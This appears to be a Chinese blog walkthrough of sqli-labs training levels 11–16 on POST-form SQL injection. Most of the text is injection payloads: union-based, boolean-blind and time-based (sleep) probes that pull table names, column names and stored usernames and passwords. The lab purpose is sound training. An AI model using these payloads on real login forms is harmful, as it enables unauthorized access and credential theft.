sqli-labs靶场详解(less11-less16)

目录

less-11

less-12

less-13

less-14

less-15

less-16


提交参数后 动态参数不存在url中 存在于post表单中 于是在表单中进行注入点测试


先看一看这种提交数据的关卡输入提交后会有什么反应

uname=admin&passwd=admin&submit=Submit

输出 username=admin password=admin

uname=123&passwd=123&submit=Submit

无输出

uname=1234&passwd=123456&submit=Submit

无输出

可以判定 这种关卡的原理就是 输出账号密码 服务器使用sql语言根据提交的账号以及密码作为条件去数据库中查找相关数据 如果查询出来了返回数据表中存放的账号密码 也就是我们输入的账号密码 并且显示成功登录

题型类似

这种题就是给你一个登录的条件 (因为你登录的账号密码参数会被服务器使用sql语言到数据库中进行操作 无论什么操作 他都需要获取你的参数到数据库中进行执行,只要是执行了 并且没有对参数进行过滤 那就很容易造成 sql注入)

自己账号密码是已知的 假设这是一个网站 你通过自己的账号密码登录上去了 你发现你的账号密码参数的位置存在注入点
每关的注入方式采用最经典的方式

只要有报错输出到页面的都可以使用报错注入 特别简单不给演示

请看 >> SQL-报错注入


less-11

判断注入点

uname=admin' 成功登录

uname=admin' 报错 to use near 'admin'

uname=admin' and '1'='1'# 成功

这一点也就是简单的密码绕过

后端是根据用户名和密码同时作为条件去查询并输出的

但是使用了#直接把密码的值给注释了 也就是相当于 只输入一个账号就能查询到 该账号的账号和密码

uname=admin'# 成功登录

uname=admin' and '1'='2'# 无输出

从而判断出该注入点为 POST字符型注入点

注意

在post表单注入的时 构造sql语句的注释符最好使用# 否则容易出错 -- --+

注入操作

sql 复制代码
# 判断当前表的列数 得出当前表有3列
#查看显示位
uname=admin' and 1=1 order by 1 # 成功
uname=admin' and 1=1 order by 2 # 成功
uname=admin' and 1=1 order by 3 # 报错
在这解释一下同一个数据库的数据表 为什么之前都是4列报错 这就3列报错了 
因为数据表的确有3列 之前不报错的原因是 前几关服务器的查询语句是select * from
但是在这关开始 服务器的查询语句是 select username,password from 
#查看显示位 得知查找的结果全部显示出来了 显示位为1,2号
uname=admin' and 1=2 union select 1,2# 
#查看当前数据库
uname=admisn' and 1=2 union select database(),2#  在1号位的位置输出了当前数据库名
uname=admi11n' and 1=2 union select database(),2# 这个也能看出来根本不需要正确的账号也能进行sql注入
#查看当前数据库所有表 
uname=adsssmin' and 1=2 union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
#查看某表的字段名
uname=admssin' and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),2#
#查看字段值
uname=admsadin' and 1=2 union select (select concat_ws(',',id,username,password) from security.users limit 0,1),2#

less-12

判断注入点

uname=admin 成功

uname=admin' 无输出并显示登录失败

uname=admin'asdasdzxc# 无输出 并显示登录失败

uname=admin and 1=1# 无输出 并显示登录失败

通过以上 大概就能判断出这个一个字符型注入点 但是对参数的处理并不是使用单引号

uname=admin\ 报错:to use near 'admin")

通过这一点 确定这是一个字符注入点 对参数的处理方式为双引号 外加一个括号

服务器参数的形式为 ("$id")

注入操作

sql 复制代码
# 判断当前表的列数 得出当前表有3列
#查看显示位
uname=admin") and 1=1 order by 1 # 成功
uname=admin") and 1=1 order by 2 # 成功
uname=admin") and 1=1 order by 3 # 报错
在这解释一下同一个数据库的数据表 为什么之前都是4列报错 这就3列报错了 
因为数据表的确有3列 之前不报错的原因是 前几关服务器的查询语句是select * from
但是在这关开始 服务器的查询语句是 select username,password from 
#查看显示位 得知查找的结果全部显示出来了 显示位为1,2号
uname=admssin") and 1=2 union select 1,2#
#查看当前数据库
uname=admdasdain") and 1=2 union select database(),2#  在1号位的位置输出了当前数据库名
#查看当前数据库所有表 
uname=adzcxzsmin") and 1=2 union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
#查看某表的字段名
uname=adasdamin") and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),2#
#查看字段值
uname=admin") and 1=2 union select (select concat_ws(',',id,username,password) from security.users limit 0,1),2#

less-13

判断注入点

uname=admin 无输出 但显示登录成功

uname=123213123 无输出 登录失败

通过以上可以推测出 不显示任何信息值 只告诉你是否登录成功 只能采用布尔注入的方式

登陆成功:服务器SQL语句查询到结果 判定查询为TRUE状态

登录失败:服务器SQL语句没有查询到结果 判定查询为FALSE状态

uname=admin' 报错:to use near 'admin')

通过报错推测出 该注入点为POST字符型服务器对参数的处理形式为使用单引号加上括号

服务器参数的形式为 ('$id')

以上推断出该关卡是用布尔盲注的方法进行注入

我一开始采用的是盲注的方式 最后发现这题是布尔注入的方式 两种方式都可以

注入操作

盲注

sql 复制代码
#推断数据库长度
uname=admin') and if(length(database())>0,sleep(2),1)# 有延时
为什么会显示登录失败 因为sleep的返回值是0
#推断当前数据库
uname=admin') and if (ascii(substr(database(),1,1))>0,sleep(2),1)# 有延时
#推断当前数据库所有表 
uname=admin') and if (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0,sleep(2),1)# 有延时
#查看某表的字段名
uname=admin') and if (ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0,sleep(2),1)# 有延时
#查看字段值
uname=admin') and if (ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67,sleep(2),1)#

布尔注入

sql 复制代码
#推断数据库长度
uname=admin') and length(database())>0#  显示成功
uname=admin') and length(database())>10# 显示失败
#推断当前数据库 
uname=admin') and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin') and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表 
uname=admin') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0#     显示登录成功
uname=admin') and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin') and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin') and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin') and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功

less-14

判断注入点(这是最详细的判断过程)

uname=admin 无返回结果 登录成功

uname=admin' 无返回结果 登录失败

第二个语句无报错 可能有两种情况

①服务器不让错误信息输出出来 参数可能是整型也有可能是字符型(形式为单引号)

②参数是字符型的 服务器对参数的处理方式没有使用单引号

uname=admin' # 无返回结果 登录失败

推断(这个推断没什么用)只是排除了 服务器不让错误信息输出出来 参数是单引号字符型

参数如果是字符 没有使用单引号

参数如果是整型 服务器不让错误信息显示出来

继续尝试

假定参数为整型

uname=admin and 1=1 无任何显示 登录失败

确定参数不为整型

只有一种结果了

参数是字符 没有使用单引号

于是

uname=admin\ 报错:'admin"

确定 服务区对参数的处理是双引号

uname=admin" and 1=1 # 成功

uname=admin" and 1=2 # 失败

使用布尔注入的方式

注入操作

sql 复制代码
#推断数据库长度
uname=admin" and length(database())>0#  显示成功
uname=admin" and length(database())>10# 显示失败
#推断当前数据库 
uname=admin" and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin" and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表 
uname=admin" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0#     显示登录成功
uname=admin" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin" and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin" and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin" and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin" and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功

less-15

判断注入点

uname=admin 无返回结果 登录成功

uname=qwe123 无返回结果 登录失败

uname=admin' 无返回结果 登录失败

uname=admin and 1=1 无返回结果 登录失败

uname=admin' and '1'='1 无返回结果 登录成功、

通过以上推理可以判定

①单引号字符型注入

②对错误不输出

③使用布尔型注入

注入操作

sql 复制代码
#推断数据库长度
uname=admin' and length(database())>0#  显示成功
uname=admin' and length(database())>10# 显示失败
#推断当前数据库 
uname=admin' and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin' and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表 
uname=admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0#     显示登录成功
uname=admin' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功

less-16

判断注入点

uname=admin 无返回结果 登录成功

uname=12313123 无返回结果 登录失败

uname=admin' 无返回结果 登录失败

uname=admin\ 无返回结果 登录失败

uname=admin and 1=1 无返回结果 登录失败

uname=admin' and '1'='1 无返回结果 登录失败

通过以上判断出

①对错误不输出

②不是整型也不是单引号形式的字符型注入点

③只能是以其他形式的字符注入点

uname=admin") # 登录成功

以上推断出这是一个布尔型注入点

注入操作

sql 复制代码
#推断数据库长度
uname=admin") and length(database())>0#  显示成功
uname=admin") and length(database())>10# 显示失败
#推断当前数据库 
uname=admin") and ascii(substr(database(),1,1))>0# 显示登录成功
uname=admin") and ascii(substr(database(),1,1))>1000# 显示登录失败
#推断当前数据库所有表 
uname=admin") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>0#     显示登录成功
uname=admin") and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>10000# 显示登录失败
#查看某表的字段名
uname=admin") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>0# 显示登录成功
uname=admin") and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>1000# 显示登录失败
#查看字段值
uname=admin") and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>68# 显示登录失败
uname=admin") and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))>67# 显示登录成功

前十六关不需要分析代码 就是最基础的

less1-less10 为GET基础型注入

less11-less16 为POST基础性注入

前十六关代码每关的区别

①服务器对参数的处理方式

②对语句查询出的结果进行处理 可能是输出到页面 可能会给你提示 可能不输出 都是最基础的if else语句 不需要分析

注意点

如果采用联合查询的方式 username的值瞎写都行

如果使用盲注的方式 username必须是准确值

相关推荐
NineData1 天前
NineData 迁移评估功能正式上线
数据库·dba
用户962377954481 天前
DVWA 靶场实验报告 (High Level)
安全
NineData1 天前
数据库迁移总踩坑?用 NineData 迁移评估,提前识别所有兼容性风险
数据库·程序员·云计算
阿里云大数据AI技术1 天前
用 SQL 调大模型?Hologres + 百炼,让数据开发直接“对话”AI
sql·llm
赵渝强老师1 天前
【赵渝强老师】PostgreSQL中表的碎片
数据库·postgresql
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
全栈老石1 天前
拆解低代码引擎核心:元数据驱动的"万能表"架构
数据库·低代码